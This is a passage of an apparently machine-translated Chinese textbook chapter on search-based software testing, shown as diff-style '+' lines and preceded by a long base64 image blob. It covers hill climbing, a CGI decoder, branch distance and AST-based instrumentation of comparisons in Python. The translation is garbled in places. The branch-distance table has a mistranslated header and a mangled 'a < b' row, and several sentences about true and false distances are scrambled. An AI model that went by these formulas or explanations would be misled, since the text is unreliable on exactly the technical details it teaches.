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
+)
+
+多次运行该示例。 有时，我们很幸运，并且存在一个可以直接找到最佳解决方案的梯度。 但是有时候，您会发现在整个搜索过程中重新启动之前会达到最佳值。
+
+我们将`x`和`y`的初始值限制在`[MIN, MAX]`的较小范围内。 这是测试生成中的常见技巧，因为在*中，大多数*情况下的解决方案都倾向于由较小的值组成，并且在许多情况下，使用较小的值来开始搜索会使搜索更快。 但是，如果我们需要的解决方案在搜索空间中位于完全不同的位置，该怎么办？ 我们偏向于较小的解决方案，这意味着爬山者将需要很长时间才能找到解决方案，并且如果搜索预算固定，那么实际找到解决方案的可能性就较小。 要查看其效果，我们可以简单地用`1000000`或更多替换`1000`。 我们可以尝试使用该范围，以查看我们针对简单搜索问题而获得的效果。
+
+```py
+MAX = 100000
+MIN = -MAX
+
+```
+
+```py
+from [Timer](Timer.html) import Timer
+
+```
+
+```py
+with Timer() as t:
+    restarting_hillclimber(get_fitness)
+    print("Search time: %.2fs" % t.elapsed_time())
+
+```
+
+```py
+Initial value: 64543, -55357 at fitness 175255.0000
+Found optimum after 169899 iterations at -100000, -50001
+Search time: 0.74s
+
+```
+
+在大多数情况下，直到找到解决方案为止，搜索将花费更长的时间-可能比我们准备等待这样一个简单的示例函数所需的时间更长！ （尽管有时我们会很幸运，并随机获得良好的开始位置）。 如何处理“真实”示例？ 不要想象是否还有更多的参数和更大的社区！
+
+## 测试更复杂的程序
+
+让我们来看一个稍微复杂的程序：您已经从 [Coverage一章](Coverage.html)中知道了CGI解码器。
+
+```py
+def cgi_decode(s):
+    """Decode the CGI-encoded string `s`:
+ * replace "+" by " "
+ * replace "%xx" by the character with hex number xx.
+ Return the decoded string.  Raise `ValueError` for invalid inputs."""
+
+    # Mapping of hex digits to their integer values
+    hex_values = {
+        '0': 0, '1': 1, '2': 2, '3': 3, '4': 4,
+        '5': 5, '6': 6, '7': 7, '8': 8, '9': 9,
+        'a': 10, 'b': 11, 'c': 12, 'd': 13, 'e': 14, 'f': 15,
+        'A': 10, 'B': 11, 'C': 12, 'D': 13, 'E': 14, 'F': 15,
+    }
+
+    t = ""
+    i = 0
+    while i < len(s):
+        c = s[i]
+        if c == '+':
+            t += ' '
+        elif c == '%':
+            digit_high, digit_low = s[i + 1], s[i + 2]
+            i += 2
+            if digit_high in hex_values and digit_low in hex_values:
+                v = hex_values[digit_high] * 16 + hex_values[digit_low]
+                t += chr(v)
+            else:
+                raise ValueError("Invalid encoding")
+        else:
+            t += c
+        i += 1
+    return t
+
+```
+
+### CGI解码器作为搜索问题
+
+`cgi_decode()`函数具有一个类型为string的输入，并且定义字符串邻域的一种可能方式是编辑距离为1的所有可能的字符串。例如，字符串`test`将为每个字符串具有两个邻居。 它的四个字符：
+
+*   `uest`
+*   `tfst`
+*   `tett`
+*   `tesu`
+*   `sest`
+*   `tdst`
+*   `tert`
+*   `tess`
+
+此外，在任何字符之前或之后添加任何字符也将具有1的编辑距离，并且可以将其视为邻居。 为简单起见，让我们将输入字符串的长度固定为合理的值（例如10）。 在这种情况下，每个人有20个邻居（即每个角色有两个邻居）。
+
+让我们实现一个新的`neighbour_strings()`函数，该函数生成这些相邻的字符串：
+
+```py
+def neighbour_strings(x):
+    n = []
+    for pos in range(len(x)):
+        c = ord(x[pos])
+        if c < 127:
+            n += [x[:pos] + chr(c + 1) + x[pos + 1:]]
+        if c > 20:
+            n += [x[:pos] + chr(c - 1) + x[pos + 1:]]
+    return n
+
+```
+
+`neighbour_strings()`函数获取输入字符串中每个字符的数值，并创建一个新字符串，并用字母中的前一个和后继字符替换该字符。 首先，我们仅考虑可打印的ASCII字符，范围为​​20--127。
+
+```py
+print(neighbour_strings("Hello"))
+
+```
+
+```py
+['Iello', 'Gello', 'Hfllo', 'Hdllo', 'Hemlo', 'Heklo', 'Helmo', 'Helko', 'Hellp', 'Helln']
+
+```
+
+因此，我们为`cgi_decode()`函数定义了搜索空间。 在此搜索空间中搜索个人的下一个要素是适应度函数。
+
+### 分支距离
+
+`test_me()`函数由单个if条件组成，其中比较了两个整数。 在`cgi_decode()`函数中，我们具有三个if条件和一个while循环，它们都比较字符。 幸运的是，正如我们已经看到的，我们可以将字符视为数字，因此我们可以使用在`test_me()`示例中使用的相同距离估计。 但是，还有两个条件可以检查字符是否包含在集合中，例如： `digit_high in hex_values`。 集合中包含的值接近多少？ 一个明显的解决方案是将与集合中最接近的值的距离视为估计值。
+
+```py
+import [sys](https://docs.python.org/3/library/sys.html)
+
+```
+
+```py
+def distance_character(target, values):
+
+    # Initialize with very large value so that any comparison is better
+    minimum = sys.maxsize
+
+    for elem in values:
+        distance = abs(target - elem)
+        if distance < minimum:
+            minimum = distance
+    return minimum
+
+```
+
+```py
+distance_character(10, [1, 5, 12, 100])
+
+```
+
+```py
+2
+
+```
+
+```py
+distance_character(10, [0, 50, 80, 200])
+
+```
+
+```py
+10
+
+```
+
+到目前为止，我们所做的进一步简化是假设我们总是希望条件评估为真。 在实践中，我们可能还希望if条件的评估结果也为false。 因此，每个if条件实际上有两个距离估计值，一个估计它与真实条件的接近程度，另一个估计与错误条件的接近程度。 如果条件为真，则真实距离为0；否则为0。 如果条件为假，则假距为0。即，在比较`a == b`中，如果`a`小于`b`，则假距为`0`。
+
+当`a`等于`b`时`a == b`为假的距离是多少？ 对`a`或`b`的任何更改都会使条件评估为false，因此在这种情况下，我们可以简单地将距离定义为1。
+
+更一般地，可以存在其他类型的比较，例如使用关系运算符。 考虑`cgi_decode()`：`i < len(s)`中的循环条件，即它使用小于比较运算符。 将分支距离的概念扩展到涵盖不同类型的比较，并计算正确和错误的距离是很直接的。 下表显示了如何计算不同类型的比较的距离：
+
+| 健康）状况 | 距离真 | 距离错误 |
+| --- | --- | --- |
+| a == b | abs（a-b） | 1 |
+| a！= b | 1 | abs（a-b） |
+| a < b | b-a + 1 | - |
+| a < = b | b-a | a-b + 1 |
+| a > b | a-b + 1 | b-a |
+
+请注意，一些计算会添加一个常量`1`。 这样做的原因很简单：假设我们要让`a < b`评估为true，然后让`a = 27`和`b = 27`成立。 条件不成立，但简单地求和将得出`0`的结果。 为了避免这种情况，我们必须添加一个常数。 该值是否为`1`并不重要-任何正常数都起作用。
+
+### 处理复杂条件
+
+在`cgi_decode()`函数中，我们还可以找到一个稍微复杂一些的谓词，该谓词由两个条件组成，这些条件由一个逻辑`and`连接：
+
+`if digit_high in hex_values and digit_low in hex_values:`
+
+原则上，将分支距离定义为使得使连词`A and B`为真的距离等于`A`和`B`的分支距离之和，因为两个条件都必须为真。 同样，使`A or B`为真的分支距离将为`A`和`B`的两个分支距离中的最小值，因为如果两个条件之一为真就可以使整个表达式为真。
+
+但是，这并不像在实践中那样容易：谓词可以由嵌套条件和否定组成，并且在应用此计算之前，需要将表达式转换为规范形式。 此外，大多数现代编程语言都使用*短路评估*：如果存在条件`A or B`且`A`为true，则永远不会评估`B`。 如果`B`是带有副作用的表达式，那么即使短路评估会避免执行`B`的分支距离，也可以通过计算`B`的分支距离，来潜在地改变程序的行为（通过调用会导致副作用的副作用） 在正常行为中不执行），那是不可接受的。
+
+此外，如果分支条件有副作用怎么办？ 例如，假设分支条件为`x == 2 * foo(y)`，其中`foo()`是采用整数作为输入的函数。 幼稚的检测将导致以下代码：
+
+```py
+ distance = abs(x - 2 * foo(y))
+    if x == 2 * foo(y):
+    ...
+```
+
+因此，检测将导致两次执行的`foo()`。 假设`foo()`更改了系统状态（例如，通过打印某些内容，访问文件系统，更改了一些状态变量等），然后清楚地第二次调用`foo()`是个坏主意。 解决此问题的一种方法是*转换​​*条件，而不是*添加*跟踪调用。 例如，可以创建一个临时变量来保存距离计算所需的值，然后在分支条件中使用它们：
+
+```py
+ tmp1 = x
+    tmp2 = 2 * foo(y)
+    distance = abs(tmp1 - tmp2)
+    if tmp1 == tmp2:
+    ...
+```
+
+除了这些问题之外，向程序中添加全局变量和方法调用的方法似乎还很笨拙---当然，我们不能开始自己考虑程序中的每个分支，也无法对要手动测试的程序进行检测， 特别是如果程序具有多个分支，例如`cgi_decode()`功能。 相反，我们应该研究如何自动仪器程序包含必需的添加语句，以便我们可以计算适合度值。
+
+### 原子条件仪器
+
+使用全局变量和临时变量的另一种方法是用对辅助函数的调用来代替实际的比较，该函数将原始表达式作为参数求值，而运算符是一个附加参数。 假设我们有一个函数`evaluate_condition()`，它带有四个参数：
+
+*   `num`是标识条件的唯一ID；
+*   `op`是比较的运算符；
+*   `lhs`和`rhs`是操作数。
+
+该函数计算条件的两个距离：到条件评估为真的距离和到条件评估为假的距离。 这两个结果之一将始终为真，因此其中之一将始终具有距离`0`。 由于该函数替换了原始比较，因此根据`0`的距离返回true或false。 这意味着示例表达式
+
+```py
+ if x == 2 * foo(y)
+```
+
+将被替换
+
+```py
+ if evaluate_condition(0, "Eq", x, 2 * foo(y))
+```
+
+这样，参数仅计算一次，因此可以正确处理副作用。 `evaluate_condition()`函数的外观如下：
+
+```py
+def evaluate_condition(num, op, lhs, rhs):
+    distance_true = 0
+    distance_false = 0
+    if op == "Eq":
+        if lhs == rhs:
+            distance_false = 1
+        else:
+            distance_true = abs(lhs - rhs)
+
+    # ... code for other types of conditions
+
+    if distance_true == 0:
+        return True
+    else:
+        return False
+
+```
+
+请注意，我们正在使用`0`初始化`distance_true`和`distance_false`。 因此，如果`lhs`等于`rhs`，则变量`distance_true`保持为0，反之亦然。
+
+```py
+evaluate_condition(1, "Eq", 10, 20)
+
+```
+
+```py
+False
+
+```
+
+```py
+evaluate_condition(2, "Eq", 20, 20)
+
+```
+
+```py
+True
+
+```
+
+`evaluate_condition()`功能尚未执行的操作是存储观察到的距离。 显然，我们需要将值存储在某个位置，以便我们可以从适应性函数中访问它。 由于`cgi_decode()`程序由多个条件组成，并且对于每个条件我们可能都对真实和错误距离感兴趣，因此我们仅使用两个全局词典`distances_true`和`distances_false`，并定义一个用于存储 在字典中观察到的距离值：
+
+```py
+def update_maps(condition_num, d_true, d_false):
+    global distances_true, distances_false
+
+    if condition_num in distances_true.keys():
+        distances_true[condition_num] = min(
+            distances_true[condition_num], d_true)
+    else:
+        distances_true[condition_num] = d_true
+
+    if condition_num in distances_false.keys():
+        distances_false[condition_num] = min(
+            distances_false[condition_num], d_false)
+    else:
+        distances_false[condition_num] = d_false
+
+```
+
+变量`condition_num`是我们刚刚评估的条件的唯一ID。 如果这是我们第一次执行此特定条件，则将正确和错误的距离简单地存储在相应的字典中。 但是，同一测试有可能多次执行条件。 例如，`cgi_decode()`函数中的循环条件`i < len(s)`在每个单循环迭代之前进行评估。 但是，最后，我们希望为测试提供一个适合度值。 由于覆盖分支仅要求至少有一个执行到达分支，因此我们仅考虑最接近的一个。 因此，如果`distances_true`和`distances_false`字典已经包含与上一个执行程序的距离，则仅当新的执行程序更接近分支时才替换该值；否则，将替换该值。 这是使用`min()`功能实现的。
+
+现在，我们需要从`evaluate_condition()`中调用此函数。 我们还要为`in`运算符和`<`比较添加距离计算，因为在`cgi_decode()`示例中我们都需要它们。 此外，`cgi_decode()`实际上比较字符和数字。 为了确保使用正确的类型，我们首先必须将字符转换为数字以计算距离。 这是使用Python的`ord()`函数完成的。
+
+```py
+def evaluate_condition(num, op, lhs, rhs):
+    distance_true = 0
+    distance_false = 0
+
+    # Make sure the distance can be calculated on number and character
+    # comparisons
+    if isinstance(lhs, str):
+        lhs = ord(lhs)
+    if isinstance(rhs, str):
+        rhs = ord(rhs)
+
+    if op == "Eq":
+        if lhs == rhs:
+            distance_false = 1
+        else:
+            distance_true = abs(lhs - rhs)
+
+    elif op == "Lt":
+        if lhs < rhs:
+            distance_false = rhs - lhs
+        else:
+            distance_true = lhs - rhs + 1
+    # ...
+    # handle other comparison operators
+    # ...
+
+    elif op == "In":
+        minimum = sys.maxsize
+        for elem in rhs.keys():
+            distance = abs(lhs - ord(elem))
+            if distance < minimum:
+                minimum = distance
+
+        distance_true = minimum
+        if distance_true == 0:
+            distance_false = 1
+
+    update_maps(num, distance_true, distance_false)
+
+    if distance_true == 0:
+        return True
+    else:
+        return False
+
+```
+
+下面显示了如何使用`cgi_decode()`功能使用`cgi_decode()`进行连接。 对应于这两个条件，有两个对`evaluate_condition`的调用，并且将它们结合在一起的`and`可确保保留原始的短路行为：
+
+`if (evaluate_condition(4, 'In', digit_high, hex_values) and evaluate_condition(5, 'In', digit_low, hex_values))`
+
+当然，我们希望自动产生这种仪器化的变体。
+
+### 自动检测源代码
+
+实际上，使用程序的抽象语法树（AST）在Python中自动替换比较非常容易。 在AST中，比较通常是一个树节点，该节点具有一个运算符属​​性，两个运算符分别用于左手运算符和右手运算符。 要用对`evaluate_condition()`的调用替换此类比较，只需将AST中的比较节点替换为函数调用节点，这就是`BranchTransformer`类使用Python的`ast`模块中的NodeTransformer所做的事情：
+
+```py
+import [ast](https://docs.python.org/3/library/ast.html)
+
+```
+
+```py
+class BranchTransformer(ast.NodeTransformer):
+
+    branch_num = 0
+
+    def visit_FunctionDef(self, node):
+        node.name = node.name + "_instrumented"
+        return self.generic_visit(node)
+
+    def visit_Compare(self, node):
+        if node.ops[0] in [ast.Is, ast.IsNot, ast.In, ast.NotIn]:
+            return node
+
+        self.branch_num += 1
+        return ast.Call(func=ast.Name("evaluate_condition", ast.Load()),
+                        args=[ast.Num(self.branch_num),
+                              ast.Str(node.ops[0].__class__.__name__),
+                              node.left,
+                              node.comparators[0]],
+                        keywords=[],
+                        starargs=None,
+                        kwargs=None)
+
+```
+
+`BranchTransformer`使用内置解析器`ast.parse()`解析目标Python程序，该解析器返回AST。 Python提供了用于遍历和修改此AST的API。 为了用函数调用代替比较，我们使用`ast.NodeTransformer`，它使用访问者模式，其中AST中每种类型的节点都有一个`visit_*`函数。 因为我们有兴趣替换比较，所以我们覆盖了`visit_Compare`，在这里，我们返回了一个类型为`ast.Func`的新节点，而不是原始的比较节点，这是一个函数调用节点。 该节点的第一个参数是函数`evaluate_condition()`的名称，参数是我们的`evaluate_condition()`函数所期望的四个参数：
+
